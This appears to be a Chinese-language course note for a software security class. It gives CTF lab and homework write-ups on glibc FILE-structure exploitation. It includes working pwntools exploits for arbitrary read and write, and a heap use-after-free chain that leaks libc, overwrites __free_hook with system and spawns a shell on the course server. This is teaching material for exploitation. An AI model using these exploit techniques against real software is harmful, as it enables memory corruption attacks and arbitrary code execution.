--- tags: CS 2022 Fall, 程式安全 author: Ching367436 --- # [0x09] Pwn III lecture: https://www.youtube.com/watch?v=_TYWsA8gEW0 slide: [slide (Pwn-w1.pdf)](https://drive.google.com/drive/folders/15jPvm8L618aYkuOkyEm17DzPlFDgCzL8?usp=share_link) <!-- <style> img { box-shadow: 0px 0px 15px #000; } </style> --> ### [LAB] FILE_AAR #### 題目 ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x10] = "FLAG{TEST}\n"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "w"); read(0, buf, 0x1000); fwrite(buf, 0x10, 1, fp); return 0; } ``` #### 取得需要的記憶體位置 題目有開 `-no-pie` 所以 `flag` 放的地方不會變 `:15` 有個 `buf` 的 `overflow` 我們要寫道 `fp` 指的位置 所以需要 `fp` 與 `buf` 的相對位置 他們是相鄰 allocated 的 所以 $$ fp=buf+chunksize_{buf}=buf+0x20 $$ 用 `gdb` 取得 `flag` 的位置 取得 `fp` `buf` 的相對位置 發現跟計算的結果一致 ```python # since -no-pie flag_addr = 0x404050 buf_relative_addr = 0x181e2a0 fp_relative_addr = 0x181e2c0 ``` #### 準備好 `FILE structure` https://docs.pwntools.com/en/stable/filepointer.html `pwntools` 有方便的東西可以用 ```python= fileStr = FileStructure() fileStr.flags = 0xfbad0800 # _IO_MAGIC | _IO_CURRENTLY_PUTTING fileStr.fileno = 0x1 # stdout fileStr._IO_write_base = flag_addr fileStr._IO_write_ptr = flag_addr + 0x10 fileStr._IO_write_end = 0 ### count = _IO_write_end - _IO_write_base < 0 fileStr._IO_read_end = fileStr._IO_write_base print(fileStr) payload = flat( b'A' * (fp_relative_addr - buf_relative_addr), bytes(fileStr), ) payload = payload[:-12*8] assert len(payload) <= 0x1000 ``` `:19` 的地方是要把 `fileStr` 的後半部分 (`fileno` 後面) 處理掉 不處理掉的話會 `Segmentation Fault` 看起來是 `pwntools` 的 `FILE` 預設值的問題 所以不要蓋到不需蓋過的地方就沒問題 ```python { flags: 0xfbad0800 _IO_read_ptr: 0x0 _IO_read_end: 0x404050 _IO_read_base: 0x0 _IO_write_base: 0x404050 _IO_write_ptr: 0x404060 _IO_write_end: 0x0 _IO_buf_base: 0x0 _IO_buf_end: 0x0 _IO_save_base: 0x0 _IO_backup_base: 0x0 _IO_save_end: 0x0 markers: 0x0 chain: 0x0 fileno: 0x1 _flags2: 0x0 _old_offset: 0xffffffffffffffff _cur_column: 0x0 _vtable_offset: 0x0 _shortbuf: 0x0 unknown1: 0x0 _lock: 0x0 _offset: 0xffffffffffffffff _codecvt: 0x0 _wide_data: 0x0 unknown2: 0x0 vtable: 0x0} ``` 可以來看一下為何要這樣設 先來到 `fwrite` 的地方 ##### `_IO_fwrite` ![](https://hackmd.io/_uploads/rylTb1KSn.png) 看到 `:39` 會進去 `_IO_sputn` (`_IO_new_file_xsputn`) ##### `_IO_new_file_xsputn` ![](https://i.imgur.com/3eHoVWD.png) ![](https://i.imgur.com/WkDkbil.png) 到了 `:1244` 會進入 `_IO_OVERFLOW` (`_IO_new_file_overflow`) ##### `_IO_new_file_overflow` ![](https://i.imgur.com/uG0wVAF.png) `:740` 的地方 我們需要將 `flag` 設上 `_IO_CURRENTLY_PUTTING` 這樣可以阻止 `buffer` 的初始化 接著進入 `:776` 的 `_IO_do_write` (`_IO_new_do_write` `new_do_write`) ##### `new_do_write` ![](https://i.imgur.com/vSeKREK.png) 可以看到我們只要想辦法走到 `:449` 就成功的呼叫到 `_IO_SYSWRITE` 了 這邊需要繞過 `:441` 的檢查 所以把 `fp->_IO_read_end` `fp->_IO_write_base` 射程一樣可以繞過 然後就是 `_IO_SYSWRITE` 了 ##### `FILE_AAR/exp.py` ```python '''output [+] Opening connection to edu-ctf.zoolab.org on port 10010: Done [*] Switching to interactive mode FLAG{QAQ...} \x00\x00AAAAAAAAAAAAAAA[*] Got EOF while reading in interactive ''' ``` ### [LAB] FILE_AAW #### 題目 ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> char flag[0x10] = "FLAG{TEST}\n"; char owo[] = "OWO!"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "r"); read(0, buf, 0x1000); fread(buf, 0x10, 1, fp); if (strcmp(owo, "OWO!") != 0) write(1, flag, sizeof(flag)); return 0; } ``` 題目希望我們把 `owo` 的值寫成其他的值 #### 取得 `owo` 位置及 `buf` `fp` 的相對位置 這題的 `buf` `fp` 的相對位置跟上一題的算法一樣 `:17` 有個 `buf` 的 `overflow` 我們要寫道 `fp` 指的位置 所以需要 `fp` 與 `buf` 的相對位置 他們是相鄰 `allocated` 的 所以 $$ fp=buf+chunksize_{buf}=buf+0x20 $$ 取得 `fp` `buf` 的相對位置 發現跟計算的結果一致 跟實際跑起來的結果一致 因為 `-no-pie` 所以 `owo` 的位置是固定的 可以直接用讀出來的結果 ![](https://i.imgur.com/umpCDQp.png) ```pyhton # since -no-pie owo_addr = 0x404070 buf_relative_addr = 0x1140290 fp_relative_addr = 0x11402c0 ``` #### 準備好 `FILE structure` https://docs.pwntools.com/en/stable/filepointer.html `pwntools` 有方便的東西可以用 ```python= fileStr = FileStructure() fileStr.flags = 0xfbad0000 # _IO_MAGIC fileStr._IO_buf_base = fileStr._IO_write_base = owo_addr fileStr._IO_buf_end = owo_addr + 0x10 fileStr._IO_read_ptr = fileStr._IO_read_end = 0 fileStr.fileno = 0 payload = flat( b'Y' * (fp_relative_addr - buf_relative_addr), bytes(fileStr), ) payload = payload[:-12*8] assert len(payload) <= 0x1000 # p = process('test/chal') p = remote('edu-ctf.zoolab.org', 10009) # gdb.attach(p) p.send(payload) p.interactive() ``` ##### `FILE_AAW/exp.py` ```python '''output root@0643124b43f1 ~/aaw# python3 exp.py [+] Opening connection to edu-ctf.zoolab.org on port 10009: Done [*] Switching to interactive mode $ hello $ hello $ hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello FLAG{sushi} \x00\x00[*] Got EOF while reading in interactive $ ''' ``` 上面那些 `hello` 是要讓 `__underflow` 用到 `EOF` 為止 這樣才會跳出 `fread` 可以來看看為什麼要這樣設 ##### `fread` (`_IO_fread`) ![](https://i.imgur.com/RoIU3lG.png) 進入 `:38` `_IO_sgetn` ##### `_IO_file_xsgetn` <!-- ![](https://i.imgur.com/cpyzOWL.png) --> ![](https://i.imgur.com/0eBwUin.png) ![](https://i.imgur.com/YNFcwRp.png) ![](https://i.imgur.com/niR3aFM.png) 如果 `fp._IO_read_ptr` `fp._IO_read_end` 都設成 `0` `:1293` 的 `have` 就會是 `0` 這樣可以防止進入 `:1306` 的地方 才不會動到題目的 `buf` 進入 `:1322` `__underflow` ##### `_IO_new_file_underflow` <!-- ![](https://i.imgur.com/cXt302C.png) --> ![](https://i.imgur.com/26q0413.png) ![](https://i.imgur.com/U9VsHuP.png) 到了 `:517` 就到了我們要的 `_IO_SYSREAD` 了 就可以任意寫 不過回到 `_IO_file_xsgetn` 的時候又回一直回來 所以要寫到 `:517` 的 `count` 為 `0` 為止才會讓此 `EOF` 才會結束 `_IO_file_xsgetn` (`:1322`) ### [HW] miniums #### 題目 ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> struct User { char name[0x10]; int size; FILE *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x200) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; char *buf; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = tmpfile(); buf = malloc(size); read(0, buf, size); fwrite(buf, size, 1, users[idx]->data); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); if (users[idx]->data != NULL) fclose(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { char buf[0x200] = {}; for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: ", i, users[i]->name); fseek(users[i]->data, 0, SEEK_SET); fread(buf, sizeof(buf), 1, users[i]->data); printf("%s\n", buf); } } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** [Mini] User Management System ****\n"); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; } ``` <!-- https://lantern.cool/note-pwn-first-fit-And-UAF/#%E4%BE%8B%E5%AD%90 https://github.com/shellphish/how2heap/blob/master/first_fit.c --> #### 觀察 `heap` 當我們進行以下動作之後 ```python add_user(0, 'a'*0x10) edit_data(0, 0x10, 'r'*0x10) add_user(1, 'b'*0x10) ``` `heap` 的狀況會變為下圖 ![](https://i.imgur.com/WBhCCV8.png) ![](https://i.imgur.com/UiI7pem.png) 如果再執行 ```python del_user(0) ``` ![](https://i.imgur.com/DU4N2GM.png) #### 利用 `UAF` 控制 `FILE` 結構 題目的 `del_user` 有 `UAF` 的漏洞 `:68` 也有可以控制的 `malloc` 就來試著控制 `FILE` 看看吧 首先 ```python= add_user(0, 'A'*0x10) edit_data(0, 0x10, 'a'*0x10) add_user(1, 'B'*0x10) edit_data(1, 0x10, 'b'*0x10) add_user(2, 'C'*0x10) del_user(0) del_user(1) add_user(3, 'D'*0x09) edit_data(3, 0x1e0-0x08, 'hello') ``` ![](https://i.imgur.com/907TLvw.png) 可以由上圖看到我們第三步驟的 `add_user` 執行時 會動態分配 `struct User` 他會從先從 `tcache` 裡面找有沒有可用的區塊 這時候就會找到我們之前 `delete` 的 `user1` 的位置把 `user3` 放上去 (根據 `tcache` FILO 的特性所以不會是拿 `user0` 的位置) 執行 `edit_user(3)` 時 我們故意把 `buf` 的 `chunksize` 控制成跟 `data` (`FILE`) 一樣大 這樣 `buf` 在找空間的時候會進 `tcache` 看看有沒有這個大小的可用記憶體 就會找到原本 `*users[0]->data` 的地方(圖中紅色框框) 而我們能控制 `buf` 意思就是我們可以控制 `*users[0]->data` 也就是 `FILE` 的結構了 可以由下圖看到我們把 `*users[0]->data` 改成了 `hello` ![](https://i.imgur.com/gmkXNG1.png) #### 取得 `main_arena` `__free_hook` `system` 這邊我們知道 `del_user` 的時候 `fp` 指向的 `FILE` 指向的那個大小 `0x1011` 的地方會進到 `unsorted bin`(前面圖片有) 意思是會有 `FD` `BK` 在那上面 而當 `unsortedbin` 只有放他一個的時候 `FD` `BK` 就會指向 `main_arena` 所以只要 `leak` 者個東西就好了 這邊採用下圖的方式 這樣來到最後一個 `edit_user` 的時候 `buf` (大小 $0x10$) `tcache` 會找不到可用的地方 接著他就就會來 `unsortedbin` 找有沒有夠大的地方 就會找到前面進到 `unsortedbin` 的 $0x1011$ 大小的地方 個一塊夠大以會切上面的部分給 `buf` 所以會被配置到含有 `FD` `BK` 的地方(下圖黃色框框) 而此時 `buf` 大小開 `0x10` 我們只輸入 `0x09` 個 `p` 這樣 `buf` 剩下的部分就會是一大部分的 `BK` 了 (因為 `BK` 的最後一位可能是 `\x00` ,如果這樣後面的 `printf` 會把後面切掉所以要改掉) ``` buf 的內容: FD______ BK______ 輸入 0x09 個 p 之後 pppppppp pBK_____ ``` 然後 `edit_user` 的後面會把 `buf` 放進他的檔案裡 顯然的 `BK` 也會一起進去 之後只要 `show_users` `BK` 就會顯示出來了 <!-- 而 `BK` 因為 `unsorted bin` 只有一個東西 所以會指回 `main_arena` --> 有了這個就可以算出 `system` 跟 `__free_hook` 的位置了 ![](https://i.imgur.com/uLrpd4U.png) ```python leak_relative_addr = 0x00007f1e891a4200 freehook_relative_addr = 0x7f1e891a5e48 system_relative_addr = 0x7f1e89009290 leak_addr = (int.from_bytes(get_first_data_2(), 'big')) system_addr = leak_addr+(system_relative_addr-leak_relative_addr) freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr) system_addr = p64((system_addr), endian='big') freehook_addr = p64(freehook_addr, endian='big') leak_addr = p64(leak_addr, endian='big') print(f'{system_addr = }') print(f'{freehook_addr = }') print(f'{leak_addr = }') ``` 可以看到算出來的結果正確 ![](https://i.imgur.com/P8X6rhi.png) <!-- before del_user(0) ![](https://i.imgur.com/z34F7to.png) ![](https://i.imgur.com/og1xCTA.png) ![](https://i.imgur.com/PB9z1a3.png) ![](https://i.imgur.com/rZQv7Xs.png) ![](https://i.imgur.com/Uuc2FGh.png) ![](https://i.imgur.com/bYAYF96.png) --> #### AAW 這邊想要把 `__free_hook` 寫成 `system` 把 `user2->name` 設置成 `/bin/sh\x00` 這樣在 `del_user` 的時候 就等同於呼叫 `system("/bin/sh\x00")` 所以等下要用的 `FileStructure` 會設計成像下面那樣 上面的 `[LAB] AAW` 我們已經追過 `fread` 的流程 所以知道要設成下面這樣 ```python fileStr = FileStructure() fileStr.flags = 0xfbad0000 # _IO_MAGIC fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big') fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200 fileStr._IO_read_ptr = fileStr._IO_read_end = 0 fileStr.fileno = 0 ``` #### Exploitation 把上面的手段串在一起 就可以來處理這個了 流程如下 ##### A. 取得 `__free_hook` `system` 這邊上方已經說明過了 所以執行到 `:13` 的時候 `user6` 的 `FILE` 就會有 `BK` `show_user()` 就會把他顯示出來 ```python= print("Trying to get system_addr freehook_addr...") add_user(7, 'R'*0x09) edit_data(7, 0x10, 'a'*0x09) add_user(0, 'A'*0x09) del_user(7) leak_relative_addr = 0x00007f1e891a4200 freehook_relative_addr = 0x7f1e891a5e48 system_relative_addr = 0x7f1e89009290 add_user(6, 'S'*0x09) edit_data(6, 0x10, 'p'*0x09) leak_addr = (int.from_bytes(get_first_data_2(), 'big')) system_addr = leak_addr+(system_relative_addr-leak_relative_addr) freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr) ``` ##### B. 偽造 `FILE` 結構 這邊上方也說明過了 執行過後 `*users[0]->data` 會變成我們精心設計的 `FILE` ```python= print("Trying to fake file structure... *users[0]->data") edit_data(0, 0x10, 'a'*0x09) add_user(1, 'B'*0x09) edit_data(1, 0x10, '/bin/sh\x00') add_user(2, '/bin/sh\x00') del_user(0) del_user(1) fileStr = FileStructure() fileStr.flags = 0xfbad0000 # _IO_MAGIC fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big') fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200 fileStr._IO_read_ptr = fileStr._IO_read_end = 0 fileStr.fileno = 0 print(fileStr) payload = bytes(fileStr) payload = payload[:-12*8] add_user(3, '/bin/sh\x00') edit_data(3, 0x1e0-0x08, payload) ``` ##### C. 呼叫 `fread` 到目前為止我們已經控制了 `fread` 的執行流程 現在只差呼叫 `fread` 了 `show_users()` 裡面會呼叫 `fread` 所以來呼叫他 呼叫之後會從 `stdin` 把資料讀進 `__free_hook` (這是我們所控制的執行流程) 這時候就讀進 `system` 的位置 ```python= print("Trying to call fread()...") show_users() payload = system_addr # since buf size is 0x200 # we need to send until __underflow EOF for i in range(0x200 // 0x8): r.send(payload[::-1]) ``` ##### D. 觸發 `system("/bin/sh\x00")` 此時的 `__free_hook` 已經是 `system` 了 `user2` 則會是 `"/bin/sh\x00"` (上面設的) 所以執行 `free(user2)` 的時候等同於執行 `system("/bin/sh\x00")` ```python= del_user(2) r.interactive() ``` 然後就有 `shell` 了 直接來收 `flag` ##### `miniums/exp.py` ```python '''output $ cat /home/chal/flag FLAG{Toyz_4y2m_QQ_6a61c7e00afda47e65f4aaedc62e4fdc} ''' ```